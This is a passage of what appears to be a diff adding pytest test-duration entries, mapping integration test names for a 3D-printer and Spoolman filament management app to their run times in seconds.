"integration/test_spoolman_inventory_api.py::TestStorageLocationPassthrough::test_update_clears_storage_location_when_empty_string_sent": 0.1978205032646656, + "integration/test_spoolman_inventory_api.py::TestStorageLocationPassthrough::test_update_clears_storage_location_when_null_sent": 0.20459906943142414, + "integration/test_spoolman_inventory_api.py::TestStorageLocationPassthrough::test_update_omitting_storage_location_does_not_write_location_to_spoolman": 0.19669762160629034, + "integration/test_spoolman_inventory_api.py::TestStorageLocationPassthrough::test_update_passes_storage_location_to_spoolman": 0.19907601922750473, + "integration/test_spoolman_inventory_api.py::TestTagClearPreservesExtraKeys::test_tag_clear_preserves_custom_extra_key": 0.20500901993364096, + "integration/test_spoolman_inventory_api.py::TestTagClearPreservesExtraKeys::test_tag_clear_refetches_spool_inside_lock": 0.20190597418695688, + "integration/test_spoolman_inventory_api.py::TestTranslateSpoolmanErrors::test_spoolman_client_error_returns_502_with_upstream_status": 0.20033547841012478, + "integration/test_spoolman_inventory_api.py::TestTranslateSpoolmanErrors::test_spoolman_not_found_returns_404": 0.20061744656413794, + "integration/test_spoolman_inventory_api.py::TestTranslateSpoolmanErrors::test_spoolman_unavailable_returns_503": 0.20406555011868477, + "integration/test_spoolman_inventory_api.py::TestUnlinkSpool::test_unlink_preserves_other_extra_keys": 0.20202172826975584, + "integration/test_spoolman_inventory_api.py::TestUnlinkSpool::test_unlink_sets_tag_to_json_empty_string": 0.2002037838101387, + "integration/test_spoolman_inventory_bulk.py::TestSpoolmanBulkArchiveRestore::test_bulk_archive_calls_per_spool": 0.20416257251054049, + "integration/test_spoolman_inventory_bulk.py::TestSpoolmanBulkArchiveRestore::test_bulk_restore_calls_per_spool": 0.19993760250508785, + "integration/test_spoolman_inventory_bulk.py::TestSpoolmanBulkDelete::test_deletes_listed_spools": 0.19926371052861214, + "integration/test_spoolman_inventory_bulk.py::TestSpoolmanBulkUpdate::test_calls_per_spool_update_for_each_id": 0.2086661532521248, + "integration/test_spoolman_inventory_bulk.py::TestSpoolmanBulkUpdate::test_collects_per_spool_errors_without_aborting_batch": 0.20171433221548796, + "integration/test_spoolman_inventory_bulk.py::TestSpoolmanBulkUpdate::test_empty_ids_rejected": 0.19604370649904013, + "integration/test_spoolman_inventory_bulk.py::TestSpoolmanBulkUpdate::test_empty_update_rejected": 0.20757186133414507, + "integration/test_spoolman_k_profiles.py::TestGetSpoolmanKProfiles::test_returns_empty_list_when_none": 0.2011160235852003, + "integration/test_spoolman_k_profiles.py::TestGetSpoolmanKProfiles::test_returns_existing_profiles": 0.20724091213196516, + "integration/test_spoolman_k_profiles.py::TestPutSpoolmanKProfilesValidation::test_put_k_profiles_duplicate_raises_422": 0.20181355811655521, + "integration/test_spoolman_k_profiles.py::TestSaveSpoolmanKProfiles::test_put_creates_profiles": 0.20823680702596903, + "integration/test_spoolman_k_profiles.py::TestSaveSpoolmanKProfiles::test_put_empty_clears_profiles": 0.20274815056473017, + "integration/test_spoolman_k_profiles.py::TestSaveSpoolmanKProfiles::test_put_replaces_existing_profiles": 0.20243169832974672, + "integration/test_spoolman_k_profiles.py::TestSpoolKProfileEnrichment::test_get_spool_includes_k_profiles": 0.20624582655727863, + "integration/test_spoolman_k_profiles.py::TestSpoolKProfileEnrichment::test_list_spools_includes_k_profiles": 0.2019771272316575, + "integration/test_spoolman_slot_assignment_mqtt.py::TestAssignSlotMqtt::test_extrusion_cali_sel_called_when_k_profile_exists": 0.2074571866542101, + "integration/test_spoolman_slot_assignment_mqtt.py::TestAssignSlotMqtt::test_extrusion_cali_sel_resets_default_on_nozzle_mismatch": 0.21748557314276695, + "integration/test_spoolman_slot_assignment_mqtt.py::TestAssignSlotMqtt::test_extrusion_cali_sel_resets_default_when_cali_idx_none": 0.20737098343670368, + "integration/test_spoolman_slot_assignment_mqtt.py::TestAssignSlotMqtt::test_mqtt_ams_set_filament_called_on_assign": 0.20063338801264763, + "integration/test_spoolman_slot_assignment_mqtt.py::TestAssignSlotMqtt::test_mqtt_failure_does_not_rollback_assignment": 0.21386761032044888, + "integration/test_spoolman_slot_assignment_mqtt.py::TestAssignSpoolmanSlotKProfileRealignment::test_extruder_relax_falls_back_to_any_extruder_kp": 0.220171507447958, + "integration/test_spoolman_slot_assignment_mqtt.py::TestAssignSpoolmanSlotKProfileRealignment::test_realigns_to_printer_reported_filament_id": 0.2128199888393283, + "integration/test_spoolman_slot_assignment_mqtt.py::TestAssignSpoolmanSlotKProfileRealignment::test_skips_realignment_for_pfus_prefix": 0.22506919782608747, + "integration/test_spoolman_slot_assignment_mqtt.py::TestAssignSpoolmanSlotLiveCaliIdx::test_kprofile_takes_priority_over_live_cali_idx": 0.2021905267611146, + "integration/test_spoolman_slot_assignment_mqtt.py::TestAssignSpoolmanSlotLiveCaliIdx::test_live_cali_idx_negative_falls_back_to_default": 0.2115837512537837, + "integration/test_spoolman_slot_assignment_mqtt.py::TestAssignSpoolmanSlotLiveCaliIdx::test_no_kprofile_no_live_cali_idx_sends_default": 0.20228320825845003, + "integration/test_spoolman_slot_assignment_mqtt.py::TestAssignSpoolmanSlotLiveCaliIdx::test_no_kprofile_resets_to_default_k": 0.21403821371495724, + "integration/test_spoolman_slot_assignment_mqtt.py::TestExternalSlotExtruderInversion::test_external_slot_tray0_maps_to_extruder1": 0.2071984214708209, + "integration/test_spoolman_slot_assignment_mqtt.py::TestExternalSlotExtruderInversion::test_external_slot_tray1_maps_to_extruder0": 0.20352864265441895, + "integration/test_spoolman_slot_assignment_mqtt.py::TestSlicerFilamentResolutionParity::test_empty_slicer_filament_still_falls_back_to_generic_material": 0.2105916729196906, + "integration/test_spoolman_slot_assignment_mqtt.py::TestSlicerFilamentResolutionParity::test_gf_prefix_slicer_filament_resolves_to_tray_info_idx": 0.2215521540492773, + "integration/test_spoolman_slot_assignment_mqtt.py::TestSlicerFilamentResolutionParity::test_local_preset_int_id_resolves_to_filament_id_from_json": 0.22598136775195599, + "integration/test_spoolman_slot_assignments.py::TestAssignSpoolmanSlot::test_assign_accepts_ams_ht_id": 0.21130516938865185, + "integration/test_spoolman_slot_assignments.py::TestAssignSpoolmanSlot::test_assign_does_not_call_update_spool": 0.20981676876544952, + "integration/test_spoolman_slot_assignments.py::TestAssignSpoolmanSlot::test_assign_inserts_local_row": 0.21158640645444393, + "integration/test_spoolman_slot_assignments.py::TestAssignSpoolmanSlot::test_assign_invalid_spool_id": 0.1982966773211956, + "integration/test_spoolman_slot_assignments.py::TestAssignSpoolmanSlot::test_assign_printer_not_found": 0.20368553698062897, + "integration/test_spoolman_slot_assignments.py::TestAssignSpoolmanSlot::test_assign_returns_inventory_spool": 0.2009008787572384, + "integration/test_spoolman_slot_assignments.py::TestAssignSpoolmanSlot::test_assign_upserts_on_conflict": 0.21031130570918322, + "integration/test_spoolman_slot_assignments.py::TestCascadeDeletePrinter::test_delete_printer_removes_slot_assignments": 0.22735127434134483, + "integration/test_spoolman_slot_assignments.py::TestGetAllSpoolmanSlotAssignments::test_get_all_filters_by_printer": 0.21754886209964752, + "integration/test_spoolman_slot_assignments.py::TestGetAllSpoolmanSlotAssignments::test_get_all_returns_all_rows": 0.22231745067983866, + "integration/test_spoolman_slot_assignments.py::TestGetAllSpoolmanSlotAssignments::test_get_all_returns_empty_list": 0.21534902788698673, + "integration/test_spoolman_slot_assignments.py::TestGetSpoolmanSlotAssignment::test_get_missing_params": 0.19469330366700888, + "integration/test_spoolman_slot_assignments.py::TestGetSpoolmanSlotAssignment::test_get_printer_not_found": 0.1991561083123088, + "integration/test_spoolman_slot_assignments.py::TestGetSpoolmanSlotAssignment::test_get_propagates_503_from_spoolman": 0.2100947005674243, + "integration/test_spoolman_slot_assignments.py::TestGetSpoolmanSlotAssignment::test_get_returns_matched_spool": 0.21051443833857775, + "integration/test_spoolman_slot_assignments.py::TestGetSpoolmanSlotAssignment::test_get_returns_null_and_cleans_stale_when_spool_deleted_in_spoolman": 0.20349782332777977, + "integration/test_spoolman_slot_assignments.py::TestGetSpoolmanSlotAssignment::test_get_returns_null_when_no_assignment": 0.20605288352817297, + "integration/test_spoolman_slot_assignments.py::TestModeSwitchKeepsAssignments::test_switch_to_internal_mode_keeps_spoolman_slot_assignments": 0.21192032285034657, + "integration/test_spoolman_slot_assignments.py::TestModeSwitchKeepsAssignments::test_switch_to_spoolman_mode_keeps_builtin_assignments": 0.21082619205117226, + "integration/test_spoolman_slot_assignments.py::TestUnassignSpoolmanSlot::test_unassign_deletes_local_row": 0.2123429337516427, + "integration/test_spoolman_slot_assignments.py::TestUnassignSpoolmanSlot::test_unassign_does_not_call_update_spool": 0.20944328885525465, + "integration/test_spoolman_slot_assignments.py::TestUnassignSpoolmanSlot::test_unassign_invalid_id": 0.20402889139950275, + "integration/test_spoolman_slot_assignments.py::TestUnassignSpoolmanSlot::test_unassign_returns_inventory_spool": 0.20253031235188246, + "integration/test_spoolman_slot_assignments.py::TestUnassignSpoolmanSlot::test_unassign_succeeds_when_spool_deleted_in_spoolman": 0.21195239201188087, + "integration/test_spoolman_slot_concurrency.py::TestSlotAssignmentConcurrency::test_concurrent_assign_same_slot_idempotent": 0.21132963616400957, + "integration/test_spoolman_slot_concurrency.py::TestSlotAssignmentConcurrency::test_reassign_slot_updates_spool_id": 0.20196186751127243, + "integration/test_spoolman_status_2903.py::TestItAsksSpoolmanRatherThanItself::test_a_matching_client_is_reused": 0.20221702568233013, + "integration/test_spoolman_status_2903.py::TestItAsksSpoolmanRatherThanItself::test_an_unreachable_spoolman_reports_disconnected": 0.20113490615040064, + "integration/test_spoolman_status_2903.py::TestItAsksSpoolmanRatherThanItself::test_it_asks_the_url_configured_now_not_the_one_cached": 0.2039076555520296, + "integration/test_spoolman_status_2903.py::TestItAsksSpoolmanRatherThanItself::test_it_reports_connected_without_a_prior_client": 0.1995118735358119, + "integration/test_spoolman_status_2903.py::TestItStaysQuietWhenThereIsNothingToAsk::test_a_disabled_integration_is_never_probed": 0.20024414639919996, + "integration/test_spoolman_status_2903.py::TestItStaysQuietWhenThereIsNothingToAsk::test_no_url_configured_is_not_probed": 0.20686282124370337, + "integration/test_spoolman_status_2903.py::TestWhenTheUrlCannotBeUsed::test_a_client_that_cannot_be_opened_reports_disconnected": 0.2009818907827139, + "integration/test_spoolman_status_2903.py::TestWhenTheUrlCannotBeUsed::test_an_ssrf_rejected_url_reports_disconnected_rather_than_erroring": 0.2038961024954915, + "integration/test_spoolman_status_2903.py::TestWhenTheUrlCannotBeUsed::test_the_ssrf_rejection_says_so_rather_than_reading_as_a_generic_fault": 0.2049113055691123, + "integration/test_spoolman_tracking_slot_fallback.py::TestSlotAssignmentFallback::test_external_slot_falls_back_via_correct_ams_tray_pair": 0.18420705944299698, + "integration/test_spoolman_tracking_slot_fallback.py::TestSlotAssignmentFallback::test_falls_back_to_slot_assignment_when_tag_missing": 0.17894070874899626, + "integration/test_spoolman_tracking_slot_fallback.py::TestSlotAssignmentFallback::test_skips_when_neither_path_resolves": 0.18703442811965942, + "integration/test_spoolman_tracking_slot_fallback.py::TestSlotAssignmentFallback::test_skips_when_printer_id_not_supplied": 0.18302537500858307, + "integration/test_spoolman_tracking_slot_fallback.py::TestSlotAssignmentFallback::test_tag_match_wins_over_slot_assignment": 0.18084759265184402, + "integration/test_static_html_cache_headers.py::test_api_routes_unaffected_by_html_cache_headers": 0.19414144847542048, + "integration/test_static_html_cache_headers.py::test_index_html_emits_no_cache_directive[root]": 0.1990773705765605, + "integration/test_static_html_cache_headers.py::test_index_html_emits_no_cache_directive[spa-catchall-printers]": 0.2001062398776412, + "integration/test_static_html_cache_headers.py::test_index_html_emits_no_cache_directive[spa-catchall-spoolbuddy]": 0.20232488494366407, + "integration/test_stats_reconciled_duration_2592.py::test_stats_total_time_ignores_reconciled_but_keeps_real_runtime": 0.21443706937134266, + "integration/test_stranded_printing_recovery_2829.py::TestTerminalStatusMapping::test_a_busy_printer_implies_nothing[None]": 0.0008310070261359215, + "integration/test_stranded_printing_recovery_2829.py::TestTerminalStatusMapping::test_a_busy_printer_implies_nothing[PAUSE]": 0.000833672471344471, + "integration/test_stranded_printing_recovery_2829.py::TestTerminalStatusMapping::test_a_busy_printer_implies_nothing[PREPARE]": 0.0008315276354551315, + "integration/test_stranded_printing_recovery_2829.py::TestTerminalStatusMapping::test_a_busy_printer_implies_nothing[RUNNING]": 0.000842677429318428, + "integration/test_stranded_printing_recovery_2829.py::TestTerminalStatusMapping::test_a_busy_printer_implies_nothing[SLICING]": 0.0008237641304731369, + "integration/test_stranded_printing_recovery_2829.py::TestTerminalStatusMapping::test_a_disconnected_printer_implies_nothing": 0.000935153104364872, + "integration/test_stranded_printing_recovery_2829.py::TestTerminalStatusMapping::test_no_state_at_all_implies_nothing": 0.0008063623681664467, + "integration/test_stranded_printing_recovery_2829.py::TestTerminalStatusMapping::test_terminal_states_imply_a_queue_status[FAILED-failed]": 0.0008865417912602425, + "integration/test_stranded_printing_recovery_2829.py::TestTerminalStatusMapping::test_terminal_states_imply_a_queue_status[FINISH-completed]": 0.0011866651475429535, + "integration/test_stranded_printing_recovery_2829.py::TestTerminalStatusMapping::test_terminal_states_imply_a_queue_status[IDLE-cancelled]": 0.0008697295561432838, + "integration/test_stranded_printing_recovery_2829.py::TestTheSweep::test_a_broken_sweep_does_not_break_the_scheduler_loop": 0.18449452798813581, + "integration/test_stranded_printing_recovery_2829.py::TestTheSweep::test_a_completed_row_clears_the_clock": 0.19549523573368788, + "integration/test_stranded_printing_recovery_2829.py::TestTheSweep::test_a_disconnected_printer_is_never_closed_on": 0.1887527098879218, + "integration/test_stranded_printing_recovery_2829.py::TestTheSweep::test_a_row_is_closed_once_the_grace_period_passes": 0.18683052528649569, + "integration/test_stranded_printing_recovery_2829.py::TestTheSweep::test_a_row_is_left_alone_inside_the_grace_period": 0.18497797474265099, + "integration/test_stranded_printing_recovery_2829.py::TestTheSweep::test_rows_that_are_not_printing_are_ignored": 0.20332670584321022, + "integration/test_stranded_printing_recovery_2829.py::TestTheSweep::test_the_clock_restarts_when_the_printer_goes_busy_again": 0.18597745802253485, + "integration/test_stranded_printing_recovery_2829.py::TestTheSweep::test_the_failure_status_is_carried_over": 0.20409861207008362, + "integration/test_stranded_printing_recovery_2829.py::TestTheSweep::test_the_scheduler_loop_actually_runs_the_sweep": 0.0827675610780716, + "integration/test_support_api.py::TestLogParsingHelpers::test_parse_log_line_all_levels": 0.0008152686059474945, + "integration/test_support_api.py::TestLogParsingHelpers::test_parse_log_line_invalid": 0.0008153673261404037, + "integration/test_support_api.py::TestLogParsingHelpers::test_parse_log_line_valid": 0.0011496758088469505, + "integration/test_support_api.py::TestLogParsingHelpers::test_parse_log_line_with_brackets_in_message": 0.000803675502538681, + "integration/test_support_api.py::TestSupportLogsAPI::test_clear_logs_no_file": 0.19611245207488537, + "integration/test_support_api.py::TestSupportLogsAPI::test_clear_logs_success": 0.1957857608795166, + "integration/test_support_api.py::TestSupportLogsAPI::test_get_logs_empty_file": 0.19801668170839548, + "integration/test_support_api.py::TestSupportLogsAPI::test_get_logs_multiline_entry": 0.2056749863550067, + "integration/test_support_api.py::TestSupportLogsAPI::test_get_logs_with_entries": 0.205195689573884, + "integration/test_support_api.py::TestSupportLogsAPI::test_get_logs_with_level_filter": 0.1950866300612688, + "integration/test_support_api.py::TestSupportLogsAPI::test_get_logs_with_limit": 0.19786941539496183, + "integration/test_support_api.py::TestSupportLogsAPI::test_get_logs_with_search_filter": 0.19936458952724934, + "integration/test_system_api.py::TestSystemAPI::test_boot_time_falls_back_to_psutil_boot_time_on_pid1_failure": 1.170314167626202, + "integration/test_system_api.py::TestSystemAPI::test_boot_time_isoformat_carries_utc_marker": 1.1738201593980193, + "integration/test_system_api.py::TestSystemAPI::test_boot_time_uses_pid1_create_time": 1.1634163288399577, + "integration/test_system_api.py::TestSystemAPI::test_get_system_info": 1.190639623440802, + "integration/test_system_api.py::TestSystemAPI::test_system_info_app_section": 1.1813516076654196, + "integration/test_system_api.py::TestSystemAPI::test_system_info_cpu_section": 1.183608565479517, + "integration/test_system_api.py::TestSystemAPI::test_system_info_database_section": 1.2032803082838655, + "integration/test_system_api.py::TestSystemAPI::test_system_info_memory_section": 1.1894777650013566, + "integration/test_system_api.py::TestSystemAPI::test_system_info_printers_section": 1.1890716534107924, + "integration/test_system_api.py::TestSystemAPI::test_system_info_storage_section": 1.2050355961546302, + "integration/test_system_api.py::TestSystemAPI::test_system_info_with_archives": 1.1797729656100273, + "integration/test_system_api.py::TestSystemApplianceAPI::test_appliance_endpoint_partial": 0.19385929219424725, + "integration/test_system_api.py::TestSystemApplianceAPI::test_appliance_endpoint_requires_no_auth": 0.19350715912878513, + "integration/test_system_api.py::TestSystemApplianceAPI::test_appliance_endpoint_returns_nulls_when_no_local_toml": 0.19535014498978853, + "integration/test_system_api.py::TestSystemApplianceAPI::test_appliance_endpoint_returns_wizard_values": 0.19932957366108894, + "integration/test_system_api.py::TestSystemApplianceAPI::test_appliance_endpoint_time_synced_absent": 0.20783868059515953, + "integration/test_system_api.py::TestSystemApplianceAPI::test_appliance_endpoint_time_synced_ok": 0.19298346806317568, + "integration/test_system_api.py::TestSystemApplianceAPI::test_appliance_endpoint_time_synced_warning": 0.19119522627443075, + "integration/test_system_api.py::TestSystemHealthAPI::test_health_clean_log": 0.19721569120883942, + "integration/test_system_api.py::TestSystemHealthAPI::test_health_detects_known_issue": 0.19608016218990088, + "integration/test_system_api.py::TestSystemHelperFunctions::test_format_bytes_bytes": 0.0011190678924322128, + "integration/test_system_api.py::TestSystemHelperFunctions::test_format_bytes_gigabytes": 0.0011509479954838753, + "integration/test_system_api.py::TestSystemHelperFunctions::test_format_bytes_kilobytes": 0.0008260086178779602, + "integration/test_system_api.py::TestSystemHelperFunctions::test_format_bytes_megabytes": 0.0012434814125299454, + "integration/test_system_api.py::TestSystemHelperFunctions::test_format_uptime_days": 0.0013375366106629372, + "integration/test_system_api.py::TestSystemHelperFunctions::test_format_uptime_hours": 0.000820547342300415, + "integration/test_system_api.py::TestSystemHelperFunctions::test_format_uptime_less_than_minute": 0.001051371917128563, + "integration/test_system_api.py::TestSystemHelperFunctions::test_format_uptime_minutes": 0.0008285744115710258, + "integration/test_tailscale_api.py::TestTailscaleStatusAPI::test_tailscale_status_available": 0.19512878824025393, + "integration/test_tailscale_api.py::TestTailscaleStatusAPI::test_tailscale_status_unavailable": 0.19470622763037682, + "integration/test_timelapse_scan_session.py::test_scan_timelapse_attaches_and_persists_via_fresh_session": 0.20226278994232416, + "integration/test_timelapse_scan_session.py::test_scan_timelapse_no_match_reads_detached_archive_scalars": 0.20055221393704414, + "integration/test_timelapse_scan_session.py::test_scan_timelapse_reports_a_missing_directory_as_404": 0.20175618026405573, + "integration/test_timelapse_scan_session.py::test_scan_timelapse_reports_a_wedged_file_service_as_503": 0.20909324381500483, + "integration/test_trace_middleware.py::TestContextResetAfterRequest::test_trace_id_var_resets_after_request_completes": 0.0026520099490880966, + "integration/test_trace_middleware.py::TestGeneratedTraceId::test_each_request_gets_a_unique_id": 0.0029941415414214134, + "integration/test_trace_middleware.py::TestGeneratedTraceId::test_generated_id_format_is_short_hex": 0.0021455008536577225, + "integration/test_trace_middleware.py::TestGeneratedTraceId::test_generated_id_matches_handler_view": 0.002191307954490185, + "integration/test_trace_middleware.py::TestGeneratedTraceId::test_response_carries_x_trace_id_header": 0.003242949955165386, + "integration/test_trace_middleware.py::TestInboundTraceIdRespected::test_hostile_inbound_id_is_replaced": 0.0020572254434227943, + "integration/test_trace_middleware.py::TestInboundTraceIdRespected::test_overlong_inbound_id_is_replaced": 0.0027790572494268417, + "integration/test_trace_middleware.py::TestInboundTraceIdRespected::test_safe_inbound_id_is_echoed": 0.0019918130710721016, + "integration/test_updates_api.py::TestUpdatesAPI::test_apply_update_docker_rejection": 0.19354945793747902, + "integration/test_updates_api.py::TestUpdatesAPI::test_apply_update_ha_addon_rejection": 0.19155371095985174, + "integration/test_updates_api.py::TestUpdatesAPI::test_apply_update_non_docker": 0.20057677198201418, + "integration/test_updates_api.py::TestUpdatesAPI::test_apply_update_passes_discovered_release_to_perform_update": 0.1984941279515624, + "integration/test_updates_api.py::TestUpdatesAPI::test_apply_update_returns_clear_error_when_no_release_resolves": 0.1936297295615077, + "integration/test_updates_api.py::TestUpdatesAPI::test_apply_update_windows_installer_rejection": 0.19583715684711933, + "integration/test_updates_api.py::TestUpdatesAPI::test_check_backs_off_after_github_rate_limit": 0.19832165446132421, + "integration/test_updates_api.py::TestUpdatesAPI::test_check_docker_only_returns_docker_method": 0.19504334032535553, + "integration/test_updates_api.py::TestUpdatesAPI::test_check_returns_ha_addon_flag_and_method": 0.19557362236082554, + "integration/test_updates_api.py::TestUpdatesAPI::test_check_surfaces_compose_dir_only_for_docker": 0.19781265873461962, + "integration/test_updates_api.py::TestUpdatesAPI::test_check_windows_installer_returns_method_and_url": 0.19151329156011343, + "integration/test_updates_api.py::TestUpdatesAPI::test_compose_dir_falls_back_to_logs_mount": 0.001968046650290489, + "integration/test_updates_api.py::TestUpdatesAPI::test_compose_dir_inferred_from_bind_mount": 0.003068340942263603, + "integration/test_updates_api.py::TestUpdatesAPI::test_compose_dir_none_for_named_volume": 0.0025923000648617744, + "integration/test_updates_api.py::TestUpdatesAPI::test_compose_dir_none_for_relocated_bind_mount": 0.0019426317885518074, + "integration/test_updates_api.py::TestUpdatesAPI::test_compose_dir_none_without_mountinfo": 0.0010105455294251442, + "integration/test_updates_api.py::TestUpdatesAPI::test_detect_compose_dir_prefers_env_var": 0.001172398217022419, + "integration/test_updates_api.py::TestUpdatesAPI::test_detect_compose_dir_skips_mountinfo_outside_docker": 0.0012142350897192955, + "integration/test_updates_api.py::TestUpdatesAPI::test_find_windows_installer_asset_falls_back_to_alias": 0.0009350627660751343, + "integration/test_updates_api.py::TestUpdatesAPI::test_find_windows_installer_asset_none_when_missing": 0.0009017596021294594, + "integration/test_updates_api.py::TestUpdatesAPI::test_find_windows_installer_asset_prefers_versioned": 0.0009690364822745323, + "integration/test_updates_api.py::TestUpdatesAPI::test_get_version": 0.194227097555995, + "integration/test_updates_api.py::TestUpdatesAPI::test_is_docker_with_dockerenv": 0.0014278637245297432, + "integration/test_updates_api.py::TestUpdatesAPI::test_is_ha_addon_detects_supervisor_token": 0.0011131176725029945, + "integration/test_updates_api.py::TestUpdatesAPI::test_is_ha_addon_empty_token_treated_as_unset": 0.0010169250890612602, + "integration/test_updates_api.py::TestUpdatesAPI::test_is_ha_addon_false_outside_supervisor": 0.0010182475671172142, + "integration/test_updates_api.py::TestUpdatesAPI::test_is_newer_version": 0.0013411538675427437, + "integration/test_updates_api.py::TestUpdatesAPI::test_is_windows_installer_install_false_off_windows": 0.0009955568239092827, + "integration/test_updates_api.py::TestUpdatesAPI::test_is_windows_installer_install_false_on_dev_checkout": 0.001073562540113926, + "integration/test_updates_api.py::TestUpdatesAPI::test_is_windows_installer_install_true_when_no_dot_git": 0.0011408794671297073, + "integration/test_updates_api.py::TestUpdatesAPI::test_parse_github_remote_recognises_ssh_https_and_dotgit": 0.0010490259155631065, + "integration/test_updates_api.py::TestUpdatesAPI::test_parse_version": 0.0017358027398586273, + "integration/test_updates_api.py::TestUpdatesAPI::test_perform_update_preserves_ssh_origin_when_pointing_at_correct_repo": 0.002385602332651615, + "integration/test_updates_api.py::TestUpdatesAPI::test_perform_update_resets_origin_when_pointing_elsewhere": 0.0026268744841217995, + "integration/test_updates_api.py::TestUpdatesAPI::test_perform_update_resets_to_target_ref_not_hardcoded_main": 0.0022587040439248085, + "integration/test_updates_api.py::TestUpdatesAPI::test_perform_update_runs_git_in_app_dir_when_data_dir_on_separate_mount": 0.0033241109922528267, + "integration/test_updates_api.py::TestUpdatesAPI::test_perform_update_runs_pip_in_app_dir_not_data_dir": 0.0036825938150286674, + "integration/test_user_notifications_api.py::TestUserNotificationsAPI::test_get_preferences_returns_defaults_when_no_auth": 0.19415577687323093, + "integration/test_user_notifications_api.py::TestUserNotificationsAPI::test_update_preferences_fails_without_auth": 0.19450138229876757, + "integration/test_user_notifications_api.py::TestUserNotificationsAPI::test_update_preferences_rejects_invalid_type": 0.1961333118379116, + "integration/test_user_notifications_api.py::TestUserNotificationsAPI::test_update_preferences_rejects_missing_fields": 0.19785053096711636, + "integration/test_users_auth_cleanup.py::TestDeleteUserCleansAuthRows::test_delete_user_removes_long_lived_tokens": 0.24703158158808947, + "integration/test_users_auth_cleanup.py::TestDeleteUserCleansAuthRows::test_delete_user_removes_oidc_links": 0.26002809032797813, + "integration/test_users_auth_cleanup.py::TestDeleteUserCleansAuthRows::test_delete_user_removes_user_otp_codes": 0.2504320526495576, + "integration/test_users_auth_cleanup.py::TestDeleteUserCleansAuthRows::test_delete_user_removes_user_totp": 0.24733202625066042, + "integration/test_users_auth_cleanup.py::TestDeleteUserCleansAuthRows::test_delete_user_with_all_auth_rows": 0.25006158743053675, + "integration/test_users_groups_privilege_escalation.py::test_admin_can_still_perform_user_role_change": 0.2426089821383357, + "integration/test_users_groups_privilege_escalation.py::test_admin_cannot_strip_administrators_group_permissions": 0.22793765179812908, + "integration/test_users_groups_privilege_escalation.py::test_administrators_group_member_passes_admin_gate": 0.27966156881302595, + "integration/test_users_groups_privilege_escalation.py::test_groups_create_holder_cannot_create_admin_equivalent": 0.25913711078464985, + "integration/test_users_groups_privilege_escalation.py::test_groups_read_remains_delegable_to_non_admin": 0.2731920536607504, + "integration/test_users_groups_privilege_escalation.py::test_groups_update_holder_cannot_rewrite_permissions": 0.26089988462626934, + "integration/test_users_groups_privilege_escalation.py::test_groups_update_holder_cannot_self_add_to_administrators": 0.2597660291939974, + "integration/test_users_groups_privilege_escalation.py::test_users_create_holder_cannot_create_admin": 0.2591097177937627, + "integration/test_users_groups_privilege_escalation.py::test_users_read_remains_delegable_to_non_admin": 0.27529901172965765, + "integration/test_users_groups_privilege_escalation.py::test_users_update_holder_cannot_set_role_to_admin": 0.2582679223269224, + "integration/test_users_groups_privilege_escalation.py::test_users_update_holder_cannot_target_other_user": 0.28965451940894127, + "integration/test_users_slim_1894.py::test_a_group_with_only_slim_cannot_read_the_full_listing": 0.2404592912644148, + "integration/test_users_slim_1894.py::test_a_group_with_only_users_read_still_reaches_slim": 0.2336354609578848, + "integration/test_users_slim_1894.py::test_full_listing_stays_admin_only_for_api_keys": 0.23361776024103165, + "integration/test_users_slim_1894.py::test_slim_is_not_parsed_as_a_user_id": 0.21804509218782187, + "integration/test_users_slim_1894.py::test_slim_is_reachable_with_an_api_key": 0.23287219274789095, + "integration/test_users_slim_1894.py::test_slim_needs_can_read_status": 0.22466358728706837, + "integration/test_users_slim_1894.py::test_slim_returns_only_id_and_username": 0.2308566039428115, + "integration/test_virtual_printer_api.py::TestPendingUploadsAPI::test_archive_all_empty": 0.19150897581130266, + "integration/test_virtual_printer_api.py::TestPendingUploadsAPI::test_archive_nonexistent_upload": 0.18889629654586315, + "integration/test_virtual_printer_api.py::TestPendingUploadsAPI::test_discard_all_empty": 0.19538822770118713, + "integration/test_virtual_printer_api.py::TestPendingUploadsAPI::test_discard_nonexistent_upload": 0.20240077003836632, + "integration/test_virtual_printer_api.py::TestPendingUploadsAPI::test_get_pending_uploads_count": 0.19124902691692114, + "integration/test_virtual_printer_api.py::TestPendingUploadsAPI::test_list_pending_uploads_empty": 0.1977391429245472, + "integration/test_virtual_printer_api.py::TestVirtualPrinterAccessCodeInheritance::test_create_with_target_and_no_access_code_still_enables": 0.2026957906782627, + "integration/test_virtual_printer_api.py::TestVirtualPrinterAccessCodeInheritance::test_create_with_target_ignores_submitted_access_code": 0.2097578477114439, + "integration/test_virtual_printer_api.py::TestVirtualPrinterAccessCodeInheritance::test_create_without_target_still_requires_access_code_on_enable": 0.2042009737342596, + "integration/test_virtual_printer_api.py::TestVirtualPrinterAccessCodeInheritance::test_update_explicit_access_code_with_target_is_overridden": 0.21988976933062077, + "integration/test_virtual_printer_api.py::TestVirtualPrinterAccessCodeInheritance::test_update_target_resyncs_access_code": 0.21367032174021006, + "integration/test_virtual_printer_api.py::TestVirtualPrinterAutoDispatchAPI::test_create_virtual_printer_auto_dispatch_default": 0.19789604749530554, + "integration/test_virtual_printer_api.py::TestVirtualPrinterAutoDispatchAPI::test_create_virtual_printer_auto_dispatch_false": 0.19941847119480371, + "integration/test_virtual_printer_api.py::TestVirtualPrinterAutoDispatchAPI::test_update_virtual_printer_auto_dispatch": 0.2156740678474307, + "integration/test_virtual_printer_api.py::TestVirtualPrinterCaCertificateAPI::test_ca_certificate_route_precedes_vp_id_route": 0.22261354234069586, + "integration/test_virtual_printer_api.py::TestVirtualPrinterCaCertificateAPI::test_get_ca_certificate_returns_pem": 0.23303503822535276, + "integration/test_virtual_printer_api.py::TestVirtualPrinterDiagnosticAPI::test_diagnose_disabled_vp_reports_problems": 0.20340710692107677, + "integration/test_virtual_printer_api.py::TestVirtualPrinterDiagnosticAPI::test_diagnose_unknown_vp_returns_404": 0.19327774923294783, + "integration/test_virtual_printer_api.py::TestVirtualPrinterGcodeInjectionAPI::test_create_virtual_printer_gcode_injection_default_off": 0.20534342527389526, + "integration/test_virtual_printer_api.py::TestVirtualPrinterGcodeInjectionAPI::test_update_virtual_printer_gcode_injection": 0.20304092019796371, + "integration/test_virtual_printer_api.py::TestVirtualPrinterSerialSurface::test_non_proxy_vp_keeps_self_generated_serial": 0.2074110684916377, + "integration/test_virtual_printer_api.py::TestVirtualPrinterSerialSurface::test_proxy_vp_falls_back_to_self_generated_when_target_missing": 0.2002688841894269, + "integration/test_virtual_printer_api.py::TestVirtualPrinterSerialSurface::test_proxy_vp_response_uses_target_printer_serial": 0.22343326080590487, + 